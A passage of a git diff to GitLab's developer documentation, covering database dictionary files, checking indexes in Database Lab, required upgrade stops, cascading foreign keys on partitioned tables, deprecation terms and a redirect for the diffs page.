+| **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | Index names must be all lowercase. | `index_repositories_on_group_id` |
| **Unique Constraint** | `unique_<table name>_<column name>[_and_<column name>]*` | | `unique_projects_group_id_and_name` |
| **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to disambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` |
| **Exclusion Constraint** | `excl_<table name>_<column name>[_and_<column name>]*_[_<suffix>]?` | The optional suffix should denote the type of exclusion being performed. | `excl_reservations_start_at_end_at_no_overlap` |
diff --git a/doc/development/database/database_dictionary.md b/doc/development/database/database_dictionary.md
index d74d7e77edb..b7e6fa4b5b3 100644
--- a/doc/development/database/database_dictionary.md
+++ b/doc/development/database/database_dictionary.md
@@ -17,7 +17,7 @@ For the `geo` database, the dictionary files are stored under `ee/db/docs/`.
## Example dictionary file
```yaml
----
+----
table_name: terraform_states
classes:
- Terraform::State
@@ -28,45 +28,110 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26619
milestone: '13.0'
```
-## Schema
+## Adding tables
-| Attribute | Type | Required | Description |
-|----------------------------|---------------|----------|-----------------------------------------------------------------------------------|
-| `table_name` / `view_name` | String | yes | Database table name or view name |
-| `classes` | Array(String) | no | List of classes that are associated to this table or view. |
-| `feature_categories` | Array(String) | yes | List of feature categories using this table or view. |
-| `description` | String | no | Text description of the information stored in the table or view, and its purpose. |
-| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table or view. |
-| `milestone` | String | no | The milestone that introduced this table or view. |
-| `gitlab_schema` | String | yes | GitLab schema name. |
+### Schema
-## Adding tables
+| Attribute | Type | Required | Description |
+|----------------------------|---------------|----------|-------------|
+| `table_name` | String | yes | Database table name. |
+| `classes` | Array(String) | no | List of classes that are associated to this table. |
+| `feature_categories` | Array(String) | yes | List of feature categories using this table. |
+| `description` | String | no | Text description of the information stored in the table, and its purpose. |
+| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. |
+| `milestone` | String | no | The milestone that introduced this table. |
+| `gitlab_schema` | String | yes | GitLab schema name. |
-When adding a new table, create a new file under `db/docs/` for the `main` and `ci` databases.
-For the `geo` database use `ee/db/docs/`.
-Name the file as `<table_name>.yml`, containing as much information as you know about the table.
+### Process
-Include this file in the commit with the migration that creates the table.
+When adding a table, you should:
+
+1. Create a new file for this table in the appropriate directory:
+ - `gitlab_main` table: `db/docs/`
+ - `gitlab_ci` table: `db/docs/`
+ - `gitlab_shared` table: `db/docs/`
+ - `gitlab_geo` table: `ee/db/docs/`
+1. Name the file `<table_name>.yml`, and include as much information as you know about the table.
+1. Include this file in the commit with the migration that creates the table.
## Dropping tables
-When dropping a table, you must remove the metadata file from `db/docs/` for `main` and `ci` databases.
-For the `geo` database, you must remove the file from `ee/db/docs/`.
-Use the same commit with the migration that drops the table.
+### Schema
+
+| Attribute | Type | Required | Description |
+|----------------------------|---------------|----------|-------------|
+| `table_name` | String | yes | Database table name. |
+| `classes` | Array(String) | no | List of classes that are associated to this table. |
+| `feature_categories` | Array(String) | yes | List of feature categories using this table. |
+| `description` | String | no | Text description of the information stored in the table, and its purpose. |
+| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. |
+| `milestone` | String | no | The milestone that introduced this table. |
+| `gitlab_schema` | String | yes | GitLab schema name. |
+| `removed_by_url` | String | yes | URL to the merge request or commit which removed this table. |
+| `removed_in_milestone` | String | yes | The milestone that removes this table. |
+
+### Process
+
+When dropping a table, you should:
+
+1. Move the dictionary file for this table to the `deleted_tables` directory:
+ - `gitlab_main` table: `db/docs/deleted_tables/`
+ - `gitlab_ci` table: `db/docs/deleted_tables/`
+ - `gitlab_shared` table: `db/docs/deleted_tables/`
+ - `gitlab_geo` table: `ee/db/docs/deleted_tables/`
+1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file.
+1. Include this change in the commit with the migration that drops the table.
## Adding views
+### Schema
+
+| Attribute | Type | Required | Description |
+|----------------------------|---------------|----------|-------------|
+| `table_name` | String | yes | Database view name. |
+| `classes` | Array(String) | no | List of classes that are associated to this view. |
+| `feature_categories` | Array(String) | yes | List of feature categories using this view. |
+| `description` | String | no | Text description of the information stored in the view, and its purpose. |
+| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. |
+| `milestone` | String | no | The milestone that introduced this view. |
+| `gitlab_schema` | String | yes | GitLab schema name. |
+
+### Process
+
When adding a new view, you should:
1. Create a new file for this view in the appropriate directory:
- - `main` database: `db/docs/views/`
- - `ci` database: `db/docs/views/`
- - `geo` database: `ee/db/docs/views/`
+ - `gitlab_main` view: `db/docs/views/`
+ - `gitlab_ci` view: `db/docs/views/`
+ - `gitlab_shared` view: `db/docs/views/`
+ - `gitlab_geo` view: `ee/db/docs/views/`
1. Name the file `<view_name>.yml`, and include as much information as you know about the view.
1. Include this file in the commit with the migration that creates the view.
## Dropping views
-When dropping a view, you must remove the metadata file from `db/docs/views/`.
-For the `geo` database, you must remove the file from `ee/db/docs/views/`.
-Use the same commit with the migration that drops the view.
+## Schema
+
+| Attribute | Type | Required | Description |
+|----------------------------|---------------|----------|-------------|
+| `view_name` | String | yes | Database view name. |
+| `classes` | Array(String) | no | List of classes that are associated to this view. |
+| `feature_categories` | Array(String) | yes | List of feature categories using this view. |
+| `description` | String | no | Text description of the information stored in the view, and its purpose. |
+| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. |
+| `milestone` | String | no | The milestone that introduced this view. |
+| `gitlab_schema` | String | yes | GitLab schema name. |
+| `removed_by_url` | String | yes | URL to the merge request or commit which removed this view. |
+| `removed_in_milestone` | String | yes | The milestone that removes this view. |
+
+### Process
+
+When dropping a view, you should:
+
+1. Move the dictionary file for this table to the `deleted_views` directory:
+ - `gitlab_main` view: `db/docs/deleted_views/`
+ - `gitlab_ci` view: `db/docs/deleted_views/`
+ - `gitlab_shared` view: `db/docs/deleted_views/`
+ - `gitlab_geo` view: `ee/db/docs/deleted_views/`
+1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file.
+1. Include this change in the commit with the migration that drops the view.
diff --git a/doc/development/database/database_lab.md b/doc/development/database/database_lab.md
index b60091fa37c..162fc597cc4 100644
--- a/doc/development/database/database_lab.md
+++ b/doc/development/database/database_lab.md
@@ -75,6 +75,45 @@ the new index. `exec` does not return any results, only the time required to exe
After many changes, such as after a destructive query or an ineffective index,
you must start over. To reset your designated clone, run `reset`.
+#### Checking indexes
+
+Use Database Lab to check the status of an index with the meta-command `\d <index_name>`.
+
+Caveats:
+
+- Indexes are created in both the `main` and `ci` databases, so be sure to use the instance
+ that matches the table's `gitlab_schema`. For example, if the index is added to
+ [`ci_builds`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/docs/ci_builds.yml#L14),
+ use `gitlab-production-ci`.
+- Database Lab typically has a small delay of a few hours. If more up-to-date information
+ is required, you can instead request access to a replica [via Teleport](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/Teleport/Connect_to_Database_Console_via_Teleport.md)
+
+For example: `\d index_design_management_designs_on_project_id` produces:
+
+```plaintext
+Index "public.index_design_management_designs_on_project_id"
+ Column | Type | Key? | Definition
+------------+---------+------+------------
+ project_id | integer | yes | project_id
+btree, for table "public.design_management_designs"
+```
+
+In the case of an invalid index, the output ends with `invalid`, like:
+
+```plaintext
+Index "public.index_design_management_designs_on_project_id"
+ Column | Type | Key? | Definition
+------------+---------+------+------------
+ project_id | integer | yes | project_id
+btree, for table "public.design_management_designs", invalid
+```
+
+If the index doesn't exist, JoeBot throws an error like:
+
+```plaintext
+ERROR: psql error: psql:/tmp/psql-query-932227396:1: error: Did not find any relation named "no_index".
+```
+
### Migration testing
For information on testing migrations, review our
diff --git a/doc/development/database/index.md b/doc/development/database/index.md
index c244d784422..5abc7cd3ffa 100644
--- a/doc/development/database/index.md
+++ b/doc/development/database/index.md
@@ -23,59 +23,59 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Migrations
-- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type)
-- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models
-- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations)
-- [Legacy Background migrations guidelines](background_migrations.md)
+- [Adding required stops](required_stops.md)
+- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md)
- [Batched background migrations guidelines](batched_background_migrations.md)
+- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models
- [Deleting migrations](deleting_migrations.md)
-- [Running database migrations](database_debugging.md#migration-wrangling)
+- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type)
+- [Legacy background migrations guidelines](background_migrations.md)
- [Migrations for multiple databases](migrations_for_multiple_databases.md)
-- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md)
-- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md)
- [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations
-- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide
-- [Post deployment migrations](post_deployment_migrations.md)
-- [Swapping tables](swapping_tables.md)
-- [Deleting migrations](deleting_migrations.md)
-- [SQL guidelines](../sql.md) for working with SQL queries
- [Partitioning tables](table_partitioning.md)
+- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations)
+- [Running database migrations](database_debugging.md#migration-wrangling)
+- [SQL guidelines](../sql.md) for working with SQL queries
+- [Swapping tables](swapping_tables.md)
+- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide
+- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md)
## Debugging
-- [Resetting the database](database_debugging.md#delete-everything-and-start-over)
- [Accessing the database](database_debugging.md#manually-access-the-database)
+- [Resetting the database](database_debugging.md#delete-everything-and-start-over)
- [Troubleshooting and debugging the database](database_debugging.md)
-- Tracing the source of an SQL query using query comments with [Marginalia](database_query_comments.md)
-- Tracing the source of an SQL query in Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs)
+- Tracing the source of an SQL query:
+ - In Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs)
+ - Using query comments with [Marginalia](database_query_comments.md)
## Best practices
- [Adding database indexes](adding_database_indexes.md)
-- [Foreign keys & associations](foreign_keys.md)
- [Adding a foreign key constraint to an existing column](add_foreign_key_to_existing_column.md)
-- [`NOT NULL` constraints](not_null_constraints.md)
-- [Strings and the Text data type](strings_and_the_text_data_type.md)
-- [Single table inheritance](single_table_inheritance.md)
-- [Polymorphic associations](polymorphic_associations.md)
-- [Serializing data](serializing_data.md)
+- [Check for background migrations before upgrading](../../update/background_migrations.md)
+- [Client-side connection-pool](client_side_connection_pool.md)
+- [Constraints naming conventions](constraint_naming_convention.md)
+- [Creating enums](creating_enums.md)
+- [Data layout and access patterns](layout_and_access_patterns.md)
+- [Efficient `IN` operator queries](efficient_in_operator_queries.md)
+- [Foreign keys & associations](foreign_keys.md)
- [Hash indexes](hash_indexes.md)
-- [Storing SHA1 hashes as binary](sha1_as_binary.md)
-- [Iterating tables in batches](iterating_tables_in_batches.md)
- [Insert into tables in batches](insert_into_tables_in_batches.md)
+- [Iterating tables in batches](iterating_tables_in_batches.md)
+- [`NOT NULL` constraints](not_null_constraints.md)
- [Ordering table columns](ordering_table_columns.md)
-- [Verifying database capabilities](verifying_database_capabilities.md)
-- [Query Count Limits](query_count_limits.md)
-- [Creating enums](creating_enums.md)
-- [Client-side connection-pool](client_side_connection_pool.md)
-- [Updating multiple values](setting_multiple_values.md)
-- [Constraints naming conventions](constraint_naming_convention.md)
-- [Query performance guidelines](query_performance.md)
- [Pagination guidelines](pagination_guidelines.md)
- [Pagination performance guidelines](pagination_performance_guidelines.md)
-- [Efficient `IN` operator queries](efficient_in_operator_queries.md)
-- [Data layout and access patterns](layout_and_access_patterns.md)
-- [Check for background migrations before upgrading](../../update/background_migrations.md)
+- [Polymorphic associations](polymorphic_associations.md)
+- [Query count limits](query_count_limits.md)
+- [Query performance guidelines](query_performance.md)
+- [Serializing data](serializing_data.md)
+- [Single table inheritance](single_table_inheritance.md)
+- [Storing SHA1 hashes as binary](sha1_as_binary.md)
+- [Strings and the Text data type](strings_and_the_text_data_type.md)
+- [Updating multiple values](setting_multiple_values.md)
+- [Verifying database capabilities](verifying_database_capabilities.md)
## Case studies
diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md
index 54b315b9dd9..aeab45e2158 100644
--- a/doc/development/database/pagination_guidelines.md
+++ b/doc/development/database/pagination_guidelines.md
@@ -62,7 +62,7 @@ Offset-based pagination is the easiest way to paginate over records, however, it
- Avoid presenting total counts, prefer limit counts.
- Example: count maximum 1001 records, and then on the UI show 1000+ if the count is 1001, show the actual number otherwise.
- - See the [badge counters approach](../merge_request_performance_guidelines.md#badge-counters) for more information.
+ - See the [badge counters approach](../merge_request_concepts/performance.md#badge-counters) for more information.
- Avoid using page numbers, use next and previous page buttons.
- Keyset pagination doesn't support page numbers.
- For APIs, advise against building URLs for the next page by "hand".
diff --git a/doc/development/database/query_recorder.md b/doc/development/database/query_recorder.md
index 84bd0fc938f..dfaaf8afcde 100644
--- a/doc/development/database/query_recorder.md
+++ b/doc/development/database/query_recorder.md
@@ -10,7 +10,7 @@ QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.r
> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a)
-As a rule, merge requests [should not increase query counts](../merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem.
+As a rule, merge requests [should not increase query counts](../merge_request_concepts/performance.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem.
## How it works
@@ -52,7 +52,7 @@ there are no N+1 queries. Rather than make an extra request to warm the cache, p
## Cached queries
-By default, QueryRecorder ignores [cached queries](../merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count
+By default, QueryRecorder ignores [cached queries](../merge_request_concepts/performance.md#cached-queries) in the count. However, it may be better to count
all queries to avoid introducing an N+1 query that may be masked by the statement cache.
To do this, this requires the `:use_sql_query_cache` flag to be set.
You should pass the `skip_cached` variable to `QueryRecorder` and use the `exceed_all_query_limit` matcher:
@@ -146,5 +146,5 @@ There are multiple ways to find the source of queries.
- [Bullet](../profiling.md#bullet) For finding `N+1` query problems
- [Performance guidelines](../performance.md)
-- [Merge request performance guidelines - Query counts](../merge_request_performance_guidelines.md#query-counts)
-- [Merge request performance guidelines - Cached queries](../merge_request_performance_guidelines.md#cached-queries)
+- [Merge request performance guidelines - Query counts](../merge_request_concepts/performance.md#query-counts)
+- [Merge request performance guidelines - Cached queries](../merge_request_concepts/performance.md#cached-queries)
diff --git a/doc/development/database/required_stops.md b/doc/development/database/required_stops.md
new file mode 100644
index 00000000000..46fabb5c1b4
--- /dev/null
+++ b/doc/development/database/required_stops.md
@@ -0,0 +1,41 @@
+---
+stage: Data Stores
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Adding required stops
+
+Required stops should only be added when it is deemed absolutely necessary, due to their
+disruptive effect on customers. Before adding a required stop, consider if any
+alternative approaches exist to avoid a required stop. Sometimes a required
+stop is unavoidable. In those cases, follow the instructions below.
+
+## Before the required stop is released
+
+Before releasing a known required stop, complete these steps. If the required stop
+is identified after release, the following steps must still be completed:
+
+1. Update [upgrade paths](../../update/index.md#upgrade-paths) to include the new
+ required stop.
+1. Communicate the changes with the customer Support and Release management teams.
+1. File an issue with the Database group to squash migrations to that version in the
+ next release. Use this template for your issue:
+
+ ```markdown
+ Title: `Squash migrations to <Required stop version>`
+ As a result of the required stop added for <required stop version> we should squash
+ migrations up to that version, and update the minimum schema version.
+
+ Deliverables:
+ - [ ] Migrations are squashed up to <required stop version>
+ - [ ] `Gitlab::Database::MIN_SCHEMA_VERSION` matches init_schema version
+
+ /label ~"group::database" ~"section::enablement" ~"devops::data_stores" ~"Category:Database" ~"type::maintenance"
+ /cc @gitlab-org/database-team/triage
+ ```
+
+## In the release following the required stop
+
+1. Update `Gitlab::Database::MIN_SCHEMA_GITLAB_VERSION` in `lib/gitlab/database.rb` to the
+ new required stop versions. Do not change `Gitlab::Database::MIN_SCHEMA_VERSION`.
diff --git a/doc/development/database/setting_multiple_values.md b/doc/development/database/setting_multiple_values.md
index fb85386785d..48be7ff9f10 100644
--- a/doc/development/database/setting_multiple_values.md
+++ b/doc/development/database/setting_multiple_values.md
@@ -32,7 +32,7 @@ update issues
where id = obj_id
```
-You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/v6.1.0/classes/Arel.html),
+You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/classes/Arel.html),
because the `UpdateManager` does not support `update from`. However, we supply
an abstraction to help you generate these kinds of updates: `Gitlab::Database::BulkUpdate`.
This abstraction constructs queries like the previous example, and uses
diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md
index 5f1deb77b6c..30131fc0347 100644
--- a/doc/development/database/table_partitioning.md
+++ b/doc/development/database/table_partitioning.md
@@ -389,7 +389,8 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1]
TARGET_TABLE_NAME,
column: [PARTITION_COLUMN, COLUMN],
target_column: [PARTITION_COLUMN, TARGET_COLUMN],
- validate: false
+ validate: false,
+ on_update: :cascade,
name: CONSTRAINT_NAME
)
@@ -402,6 +403,13 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1]
end
```
+The `on_update: :cascade` option is mandatory if we want the partitioning column
+to be updated. This will cascade the update to all dependent rows. Without
+specifying it, updating the partition column on the target table we would
+result in a `Key is still referenced from table ...` error and updating the
+partition column on the source table would raise a
+`Key is not present in table ...` error.
+
### Step 6 - Create parent table and attach existing table as the initial partition
You can now create the parent table attaching the existing table as the initial
diff --git a/doc/development/database_review.md b/doc/development/database_review.md
index e66be062986..048482960f4 100644
--- a/doc/development/database_review.md
+++ b/doc/development/database_review.md
@@ -275,4 +275,4 @@ Include in the MR description:
- [Check query plans](database/understanding_explain_plans.md) and suggest improvements
to queries (changing the query, schema or adding indexes and similar)
- General guideline is for queries to come in below [100ms execution time](database/query_performance.md#timing-guidelines-for-queries)
- - Avoid N+1 problems and minimize the [query count](merge_request_performance_guidelines.md#query-counts).
+ - Avoid N+1 problems and minimize the [query count](merge_request_concepts/performance.md#query-counts).
diff --git a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png
index 594e15861b0..3020387d052 100644
--- a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png
+++ b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png
Binary files differ
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index be4a3369dcb..f4af005b849 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -33,7 +33,6 @@ https://about.gitlab.com/handbook/product/gitlab-the-product/#definitions
- No longer tested internally.
- Will be removed in a future major release.
- Begins after an end-of-support date has passed.
-- Ends after all relevant code has been removed.
[Announcing an End of Support period](https://about.gitlab.com/handbook/marketing/blog/release-posts/#announcing-an-end-of-support-period)
should only be used in special circumstances and is not recommended for general use.
@@ -42,12 +41,11 @@ Most features should be deprecated and then removed.
**Removal**:
- Feature usage impossible.
+- Feature no longer supported (if End of Support period hasn't already been announced).
- Happens in a major release in line with our
[semantic versioning policy](../../policy/maintenance.md).
- Begins after removal date has passed.
-![Deprecation, End of Support, Removal process](img/deprecation_removal_process.png)
-
**Breaking change**:
A "breaking change" is any change that requires users to make a corresponding change to their code, settings, or workflow. "Users" might be humans, API clients, or even code classes that "use" another class. Examples of breaking changes include:
@@ -58,6 +56,8 @@ A "breaking change" is any change that requires users to make a corresponding ch
A breaking change can be considered major if it affects many users, or represents a significant change in behavior.
+![Deprecation, End of Support, Removal process](img/deprecation_removal_process.png)
+
## When can a feature be deprecated?
Deprecations should be announced on the [Deprecated feature removal schedule](../../update/deprecations.md).
diff --git a/doc/development/diffs.md b/doc/development/diffs.md
index b38fcea4f00..c84bf57e085 100644
--- a/doc/development/diffs.md
+++ b/doc/development/diffs.md
@@ -1,199 +1,11 @@
---
-stage: Create
-group: Code Review
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+redirect_to: 'merge_request_concepts/diffs/index.md'
+remove_date: '2023-04-10'
---
-# Working with diffs
+This document was moved to [another location](merge_request_concepts/diffs/index.md).
-We rely on different sources to present diffs. These include:
-
-- Gitaly service
-- Database (through `merge_request_diff_files`)
-- Redis (cached highlighted diffs)
-
-## Deep Dive
-
-<!-- vale gitlab.Spelling = NO -->
-
-In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only:
-`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs
-functionality to share domain-specific knowledge with anyone who may work in this part of the
-codebase in the future:
-
-<!-- vale gitlab.Spelling = YES -->
-
-- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
- [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek)
-- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit)
-- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/)
-
-Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may
-have changed since then, it should still serve as a good introduction.
-
-## Architecture overview
-
-### Merge request diffs
-
-When refreshing a merge request (pushing to a source branch, force-pushing to target branch, or if the target branch now contains any commits from the MR)
-we fetch the comparison information using `Gitlab::Git::Compare`, which fetches `base` and `head` data using Gitaly and diff between them through
-`Gitlab::Git::Diff.between`.
-The diffs fetching process _limits_ single file diff sizes and the overall size of the whole diff through a series of constant values. Raw diff files are
-then persisted on `merge_request_diff_files` table.
-
-Even though diffs larger than 10% of the value of `ApplicationSettings#diff_max_patch_bytes` are collapsed,
-we still keep them on PostgreSQL. However, diff files larger than defined _safety limits_
-(see the [Diff limits section](#diff-limits)) are _not_ persisted in the database.
-
-In order to present diffs information on the merge request diffs page, we:
-
-1. Fetch all diff files from database `merge_request_diff_files`
-1. Fetch the _old_ and _new_ file blobs in batch to:
- - Highlight old and new file content
- - Know which viewer it should use for each file (text, image, deleted, etc)
- - Know if the file content changed
- - Know if it was stored externally
- - Know if it had storage errors
-1. If the diff file is cacheable (text-based), it's cached on Redis
- using `Gitlab::Diff::FileCollection::MergeRequestDiff`
-
-### Note diffs
-
-When commenting on a diff (any comparison), we persist a truncated diff version
-on `NoteDiffFile` (which is associated with the actual `DiffNote`). So instead
-of hitting the repository every time we need the diff of the file, we:
-
-1. Check whether we have the `NoteDiffFile#diff` persisted and use it
-1. Otherwise, if it's a current MR revision, use the persisted
- `MergeRequestDiffFile#diff`
-1. In the last scenario, go the repository and fetch the diff
-
-## Diff limits
-
-As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file,
-and cases where the diff file is not presented at all, and the user is guided to the Blob view.
-
-### Diff collection limits
-
-Limits that act onto all diff files collection. Files number, lines number and files size are considered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100
-```
-
-File diffs are collapsed (but are expandable) if 100 files have already been rendered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
-```
-
-File diffs are collapsed (but be expandable) if 5000 lines have already been rendered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes
-```
-
-File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000
-```
-
-No more files are rendered at all if 1000 files have already been rendered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000
-```
-
-No more files are rendered at all if 50,000 lines have already been rendered.
-
-```ruby
-Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes
-```
-
-No more files are rendered at all if 5 megabytes have already been rendered.
-
-All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed,
-Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`.
-
-### Individual diff file limits
-
-Limits that act onto each diff file of a collection. Files number, lines number and files size are considered.
-
-#### Expandable patches (collapsed)
-
-Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`.
-That is, it's equivalent to 10kb if the maximum allowed value is 100kb.
-The diff is persisted and expandable if the patch size doesn't
-surpass `ApplicationSettings#diff_max_patch_bytes`.
-
-Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly).
-Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits.
-
-#### Not expandable patches (too large)
-
-The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`.
-Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit.
-
-```ruby
-Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
-```
-
-File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines.
-
-This limit is hardcoded and only applied on GitLab.
-
-## Viewers
-
-Diff Viewers, which can be found on `models/diff_viewer/*` are classes used to map metadata about each type of Diff File. It has information
-whether it's a binary, which partial should be used to render it or which File extensions this class accounts for.
-
-`DiffViewer::Base` validates _blobs_ (old and new versions) content, extension and file type to check if it can be rendered.
-
-## Merge request diffs against the `HEAD` of the target branch
-
-Historically, merge request diffs have been calculated by `git diff target...source` which compares the
-`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's.
-This solution works well until the target branch starts containing some of the
-changes introduced by the source branch: Consider the following case, in which the source branch
-is `feature_a` and the target is `main`:
-
-1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it.
-1. Add a commit that removes `file_a` to `main`.
-
-The merge request diff still contains the `file_a` removal while the actual diff compared to
-`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant
-changes is harder to review.
-
-In order to display an up-to-date diff, in GitLab 12.9 we
-[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27008) merge request
-diffs compared against `HEAD` of the target branch: the
-target branch is artificially merged into the source branch, then the resulting
-merge ref is compared to the source branch to calculate an accurate
-diff.
-
-Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854)
-and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893),
-both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests:
-
-![Merge ref head options](img/merge_ref_head_options_v13_6.png)
-
-The `main (HEAD)` option is meant to replace `main (base)` in the future.
-
-In order to support comments for both options, diff note positions are stored for
-both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10).
-The position for `main (base)` version is stored in `Note#position` and
-`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition`
-has been introduced.
-
-One of the key challenges to deal with when working on merge ref diffs are merge
-conflicts. If the target and source branch contains a merge conflict, the branches
-cannot be automatically merged. The
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered)
-is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854).
-
-In 13.5 a solution for both-modified merge
-conflict has been
-[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484). However,
-there are more classes of merge conflicts that are to be
-[addressed](https://gitlab.com/groups/gitlab-org/-/epics/4893) in the future.
+<!-- This redirect file can be deleted after <2023-04-10>. -->
+<!-- Redirects that point to other docs in the same project expire in three months. -->
+<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md
index 9e62f019fbf..79d0ff84713 100644
--- a/doc/development/distributed_tracing.md
+++ b/doc/development/distributed_tracing.md
@@ -4,7 +4,7 @@ group: Respond
